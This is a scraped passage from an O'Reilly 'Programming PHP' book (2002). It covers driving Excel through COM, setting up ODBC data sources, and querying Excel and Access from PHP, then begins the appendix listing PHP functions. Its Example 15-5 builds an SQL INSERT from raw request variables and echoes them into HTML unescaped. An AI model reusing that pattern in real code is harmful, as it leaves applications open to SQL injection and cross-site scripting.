<?php $ex = new COM("Excel.sheet") or Die ("Did not connect"); $ex->Application->Visible = 1; $wkb = $ex->Application->Workbooks->Add( ); $sheet = 1;

excel_write_cell($wkb, $sheet, "A1", "Hello, World");

// write a value to a particular cell function excel_write_cell($wkb,$sheet,$c,$v) { $sheets = $wkb->Worksheets($sheet); $sheets->activate; $selcell = $sheets->Range($c); $selcell->activate; $selcell->value = $v; }?>

,ch15.17090 Page 367 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (368)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

368 | Chapter 15: PHP on Windows

Open the Control Panels folder, and double-click on the ODBC Data Sources icon.The resulting dialog box is the ODBC Data Source Administrator. Select the SystemDSN tab, click the Add button, and select the driver for your target database. If thedriver is not listed, you will need to obtain one from your database vendor. If you’veinstalled Microsoft Office products on your computer, you will have all the driversthat you need to use Excel as a primitive database. Figure 15-5 shows the addition ofa System DSN for a Microsoft Excel workbook.

Press the Configure button in the top window to select a specific workbook to use asthe data source. In Figure 15-5, we’ve selected a workbook named phonelist.xls,located in the root-level PHP directory on drive C.

Because ODBC must guess the data type of each column of data returned by a query,the only remaining configuration required is to specify the number of rows used tomake this guess. In our example we used the default value of eight rows, meaning thateight rows of results will be looked at to try to determine the data type of each column.

Once the selection and naming process is complete for your ODBC data source, clickthe OK button, and you will see that your new data source has been added to the listof System DSNs. From then on, you are ready to use the DSN.

Accessing Excel DataAssuming we have an Excel spreadsheet with two columns, a list of phone exten-sions and a list of names, we could pull all records from the spreadsheet with thecode shown in Example 15-4.

Figure 15-5. Configuring a DSN for a Microsoft Excel spreadsheet located at C:\php\phonelist.xls

,ch15.17090 Page 368 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (369)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interacting with ODBC Data Sources | 369

ODBC imposes a uniform view of all databases, so even though Excel doesn’t requirea password, we still must provide one. In cases where the username and passworddon’t matter, we can provide anything we like, as they are ignored. Thus, inExample 15-4, in the call to odbc_connect( ), we pass dummy values. The firstparameter to odbc_connect( ) is the DSN, as assigned from the Control Panel.

The next step is to execute a SELECT statement using odbc_exec( ). The SELECT state-ment in Example 15-4 is unusual because of the way Excel maps spreadsheets ontotables. The [Sheet1$] syntax can be avoided in two ways. First, you can simplyrename the worksheet to something descriptive, such as phonelist, by right-clickingin the Worksheet tab and selecting the Rename function. Refer to the renamed tablein the SELECT statement as:

select * from [phonelist$]

Alternatively, you can create a named range in the Excel workbook and refer to itdirectly. Select Insert ➝ Name ➝ Define, and supply a name and workbook range.You can then omit the trailing $, and refer to the table as [phonelist].

The problem with the latter solution is that only the two forms of table name thathave the trailing $ allow us to refer directly to column names. For example:

$result = odbc_exec ($dd, "INSERT into [phonelist$] ([Extension], [Name]) values ( '33333', 'George')");

The odbc_result_all( ) function prints the results as an HTML table. There areodbc_fetch_into( ), odbc_fetch_row( ), and odbc_fetch_array( ) functions that returnthe results as PHP values. The code, when run on an Excel table containing the datashown in Figure 15-6, produces the formatted table shown in Figure 15-7.

Limitations of Excel as a DatabaseExample 15-4 demonstrates the ease of basic ODBC interaction with an Excel spread-sheet, along with some of its peculiarities. But there are some things to be aware of:

• By default, all tables are opened read-only. To write to tables, you must uncheckthe read-only box during Excel DSN setup.

• Column names over 64 characters will produce an error.

• Do not use an exclamation point character (!) in a column names.

• Unspecified (blank) column names will be replaced with driver-generatednames.

Example 15-4. Querying Excel via ODBC

<?php $dd = odbc_connect ("phone list", "user", "password"); $result = odbc_exec ($dd, "select * from [Sheet1$]"); odbc_result_all($result, "bgcolor='DDDDDD' cellpadding = '1'");?>

,ch15.17090 Page 369 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (370)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

370 | Chapter 15: PHP on Windows

Figure 15-6. Sample Excel data

Figure 15-7. Sample output from odbc_result_all( )

,ch15.17090 Page 370 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (371)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interacting with ODBC Data Sources | 371

• Applications that want to use the Save As option for Excel data should issue aCREATE TABLE statement for the new table and then do subsequent INSERT opera-tions into the new table. INSERT statements result in an append to the table. Noother operations can be done on the table until it is closed and reopened the firsttime. After the table is closed the first time, no subsequent inserts can be done.

• The Excel ODBC driver does not support DELETE, UPDATE, CREATE INDEX, DROPINDEX, or ALTER TABLE statements. While it is possible to update values, DELETEstatements do not remove a row from a table based on an Excel spreadsheet.

If you can work with these limitations, combining PHP with Excel through an ODBCinterface may be acceptable.

Although the primary source of documentation for the Excel ODBC drivers is theMicrosoft Desktop Database Drivers Help file, invoked from the Help buttons underODBC Administrator, you can also determine some of the peculiarities of Excel’ssupport for ODBC via Excel’s online help. However, it will take a good deal of pok-ing around to find what you need. Much of the time, you will find yourself search-ing for answers through your favorite search engine, or in the annotated help files athttp://www.php.net.

Working with AccessA more sophisticated example of PHP’s ODBC support is demonstrated in our nextexample. Here we store the phone-list data in an Access database, which has slightlymore robust ODBC support.

We use only four ODBC functions from PHP:

$handle = odbc_connect(dsn, user, password [, cursor_type]);$success = odbc_autocommit(handle, status);$result = odbc_exec(handle, sql);$cols = odbc_fetch_into(result [, rownumber, result_array]);

There are strong parallels between ODBC and PEAR DB. First you connect to thedatabase, then you execute queries and fetch the results. You need to connect onlyonce within each script, and the connection is automatically closed when the scriptends.

The odbc_autocommit( ) function controls transactions. By default, changes to thedatabase (UPDATE, DELETE, and INSERT commands) take place as soon as the query isexecuted. That’s the effect of autocommitting. Disable autocommits, however, andchanges will be visible to you but will be rolled back if the script ends without aCOMMIT SQL statement being executed.

Example 15-5 shows a script that lets the user enter a new record into the phonedatabase. The same script handles displaying the form, displaying the confirmation

,ch15.17090 Page 371 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (372)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

372 | Chapter 15: PHP on Windows

page, and actually adding the information to the database. The value passed into thescript by the submit button indicates how the script should behave. We use auto-commit to optimize the code somewhat: if we’re displaying the confirmation page,we turn off autocommit, add the record to the database, and display it. When thescript ends, the addition is rolled back. If we’re actually adding the information, weleave autocommit on but otherwise do exactly the same database steps as for confir-mation, so the addition isn’t rolled back at the end of the script.

Example 15-5. Add new phone number, with confirmation

<html><head><title>ODBC Transaction Management</title></head><body><h1>Phone List</h1>

<?php $dd = odbc_connect (PhoneListDSN, user, password);

// disable autocommit if we're confirming if ($submit == "Add Listing") { $start_trans = odbc_autocommit ($dd, 0); }

// insert if we've got values submitted if ($submit == "Add Listing" || $submit == "Confirm") { $sql = "insert into phone_list ([extension],[name])"; $sql .= " values ('$ext_num', '$add_name')"; $result = odbc_exec($dd, $sql); }?>

<form method="post" action="phone_trans.php">

<table><tr><th bgcolor="#EEEEEE">Extension</th> <th bgcolor="#EEEEEE">Name</th></tr>

<?php // build table of extension and name values $result = odbc_exec ($dd, "select * from phone_list"); $cols = array( ); $row = odbc_fetch_into($result, $cols); while ($row) { if ($cols[0] == $ext_num && $submit != "Confirm") {?><tr><td bgcolor="#DDFFFF"><?= $cols[0] ?></td><td bgcolor="#DDFFFF"><?= $cols[1] ?></td></tr>

,ch15.17090 Page 372 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (373)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interacting with ODBC Data Sources | 373

<?php } else { print("<tr><td>$cols[0]</td><td>$cols[1]</td></tr>\n"); } $row = odbc_fetch_into($result, $cols); }

// if we're confirming, make hidden fields to carry state over // and submit with the "Confirm" button

if ($submit == "Add Listing") {?></table><br><input type="hidden" name="ext_num" value="<?= $ext_num ?>"><input type="hidden" name="add_name" value="<?= $add_name ?>"><input type="submit" name="submit" value="Confirm"><input type="submit" name="submit" value="Cancel"><?php } else { // if we're not confirming, show fields for new values?><tr><td><input type="text" name="ext_num" size="8" maxlength="4"></td><br><td><input type="text" name="add_name" size="40" maxlength="40"></td><br></tr><br></table><br><input type="submit" name="submit" value="Add Listing"><br><?php }?></form></body></html>

Example 15-5. Add new phone number, with confirmation (continued)

,ch15.17090 Page 373 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (374)

,ch15.17090 Page 374 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (375)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

375

Appendix A APPENDIX A

Function Reference

This appendix describes the functions available in the standard PHP extensions.These are the extensions that PHP is built with if you give no --with or --enableoptions to configure. For each function, we’ve provided the function signature, show-ing the data types of the various arguments and which are mandatory or optional, aswell as a brief description of the side effects, errors, and returned data structures.

PHP Functions by CategoryThis is a list of functions provided by PHP’s built-in extensions, grouped by cate-gory. Some functions fall under more than one header.

Arraysarray, array_count_values, array_diff, array_filter, array_flip, array_intersect, array_keys, array_map, array_merge, array_merge_recursive, array_multisort, array_pad, array_pop, array_push, array_rand, array_reduce, array_reverse, array_search, array_shift, array_slice, array_splice, array_sum,array_unique, array_unshift, array_values, array_walk, arsort, asort, compact,count, current, each, end, explode, extract, implode, in_array, key, key_exists,krsort, ksort, list, natcasesort, natsort, next, pos, prev, range, reset, rsort,shuffle, sizeof, sort, uasort, uksort, usort

Classes and objectscall_user_method, call_user_method_array, class_exists, get_class, get_class_methods, get_class_vars, get_declared_classes, get_object_vars, get_parent_class, is_subclass_of, method_exists

Date and timecheckdate, date, getdate, gettimeofday, gmdate, gmmktime, gmstrftime, localtime,microtime, mktime, strftime, strtotime, time

Errors and loggingassert, assert_options, closelog, crc32, define_syslog_variables, error_log,error_reporting, openlog, restore_error_handler, set_error_handler, syslog,trigger_error, user_error

,appa.14684 Page 375 Wednesday, March 13, 2002 11:41 AM

Programming php 1 - [PDF Document] (376)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

376 | Appendix A: Function Reference

Files, directories, and filesystembasename, chdir, chgrp, chmod, chown, chroot, clearstatcache, closedir, copy,dirname, disk_free_space, disk_total_space, fclose, feof, fflush, fgetc,fgetcsv, fgets, fgetss, file, file_exists, fileatime, filectime, filegroup,fileinode, filemtime, fileowner, fileperms, filesize, filetype, flock, fopen,fpassthru, fputs, fread, fscanf, fseek, fstat, ftell, ftruncate, fwrite, getcwd,getlastmod, is_dir, is_executable, is_file, is_link, is_readable, is_uploaded_file, is_writable, is_writeable, link, linkinfo, lstat, mkdir, move_uploaded_file, opendir, pathinfo, pclose, readdir, readfile, readlink, realpath, rename,rewind, rewinddir, rmdir, set_file_buffer, stat, symlink, tempnam, tmpfile,touch, umask, unlink

Functionscall_user_func, call_user_func_array, create_function, func_get_arg, func_get_args, func_num_args, function_exists, get_defined_functions, get_extension_funcs, get_loaded_extensions, register_shutdown_function, register_tick_function, unregister_tick_function

HTTPget_browser, get_meta_tags, header, headers_sent, parse_str, parse_url,rawurldecode, rawurlencode, setcookie

Mailmail

Mathabs, acos, asin, atan, atan2, base_convert, bindec, ceil, cos, decbin, dechex,decoct, deg2rad, exp, floor, getrandmax, hexdec, lcg_value, log, log10, max, min,mt_getrandmax, mt_rand, mt_srand, number_format, octdec, pi, pow, rad2deg, rand,round, sin, sqrt, srand, tan

Networkcheckdnsrr, fsockopen, gethostbyaddr, gethostbyname, gethostbynamel, getmxrr,getprotobyname, getprotobynumber, getservbyname, getservbyport, ip2long,long2ip, pfsockopen, socket_get_status, socket_set_blocking, socket_set_timeout

Output controlflush, ob_end_clean, ob_end_flush, ob_get_contents, ob_get_length, ob_gzhandler, ob_implicit_flush, ob_start

PHP options/infoassert, assert_options, dl, extension_loaded, get_cfg_var, get_current_user,get_extension_funcs, get_included_files, get_loaded_extensions, get_magic_quotes_gpc, get_required_files, getenv, getlastmod, getmyinode, getmypid,getrusage, highlight_file, highlight_string, ini_alter, ini_get, ini_restore,ini_set, localeconv, parse_ini_file, php_logo_guid, php_sapi_name, php_uname,phpcredits, phpinfo, phpversion, putenv, set_magic_quotes_runtime, set_time_limit, version_compare, zend_logo_guid, zend_version

,appa.14684 Page 376 Wednesday, March 13, 2002 11:41 AM

Programming php 1 - [PDF Document] (377)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

acos | 377

Program executionescapeshellarg, escapeshellcmd, exec, passthru, putenv, shell_exec, sleep,system, usleep

Stringsaddcslashes, addslashes, base64_decode, base64_encode, chop, chr, chunk_split,convert_cyr_string, count_chars, crypt, echo, ereg, ereg_replace, eregi, eregi_replace, explode, get_html_translation_table, get_meta_tags, hebrev, hebrevc,highlight_string, htmlentities, htmlspecialchars, implode, iptcparse, join,levenshtein, localeconv, ltrim, md5, metaphone, nl2br, number_format, ord, parse_str, parse_url, print, printf, quoted_printable_decode, quotemeta, rtrim,setlocale, similar_text, soundex, split, spliti, sprintf, sql_regcase, sscanf,str_pad, str_repeat, str_replace strcasecmp, strchr, strcmp, strcoll, strcspn,strip_tags, stripcslashes, stristr, strlen, strnatcasecmp, strnatcmp,strncasecmp, strncmp, strpos, strrchr, strrev, strrpos, strspn, strstr, strtok,strtolower, strtoupper, strtr, substr, substr_count, substr_replace, trim,ucfirst, ucwords, vprintf, vsprintf, wordwrap

Type functionsdoubleval, get_resource_type, gettype, intval, is_array, is_bool, is_double, is_float, is_int, is_integer, is_long, is_null, is_numeric, is_object, is_real, is_resource, is_scalar, is_string, settype, strval

URLsbase64_decode, base64_encode, parse_url, rawurldecode, rawurlencode, urldecode,urlencode

Variable functionscompact, empty, extract, get_defined_constants, get_defined_vars, import_request_variables, isset, list, print_r, putenv, serialize, uniqid, unserialize,unset, var_dump

Alphabetical Listing of PHP Functions

absint abs(int number)

float abs(float number)

Returns the absolute value of number in the same type (float or integer) as the argument.

acosdouble acos(double value)

Returns the arc cosine of value in radians.

,appa.14684 Page 377 Wednesday, March 13, 2002 11:41 AM

Programming php 1 - [PDF Document] (378)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

378 | Appendix A: Function Reference

addcslashesstring addcslashes(string string, string characters)

Escapes instances of characters in string by adding a backslash before them. You canspecify ranges of characters by separating them by two periods; for example, to escapecharacters between a and q, use "a..q". Multiple characters and ranges can be specified incharacters. The addcslashes( ) function is the inverse of stripcslashes( ).

addslashesstring addslashes(string string)

Escapes characters in string that have special meaning in SQL database queries. Singlequotes (''), double quotes (""), backslashes (\), and the NUL-byte ("\0") are escaped. Thestripslashes( ) function is the inverse for this function.

arrayarray array([mixed ...])

Creates an array using the parameters as elements in the array. By using the => operator,you can specify specific indexes for any elements; if no indexes are given, the elements areassigned indexes starting from 0 and incrementing by one. The internal pointer (seecurrent, reset, and next) is set to the first element.

$array = array("first", 3 => "second", "third", "fourth" => 4);

Note: array is actually a language construct, used to denote literal arrays, but its usage issimilar to that of a function, so it’s included here.

array_count_valuesarray array_count_values(array array)

Returns an array whose elements’ keys are the input array’s values. The value of each key isthe number of times that key appears in the input array as a value.

array_diffarray array_diff(array array1, array array2[, ... array arrayN])

Returns an array containing all of the values from the first array that are not present in anyof the other arrays. The keys of the values are preserved.

array_filterarray array_filter(array array, mixed callback)

,appa.14684 Page 378 Wednesday, March 13, 2002 11:41 AM

Programming php 1 - [PDF Document] (379)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.<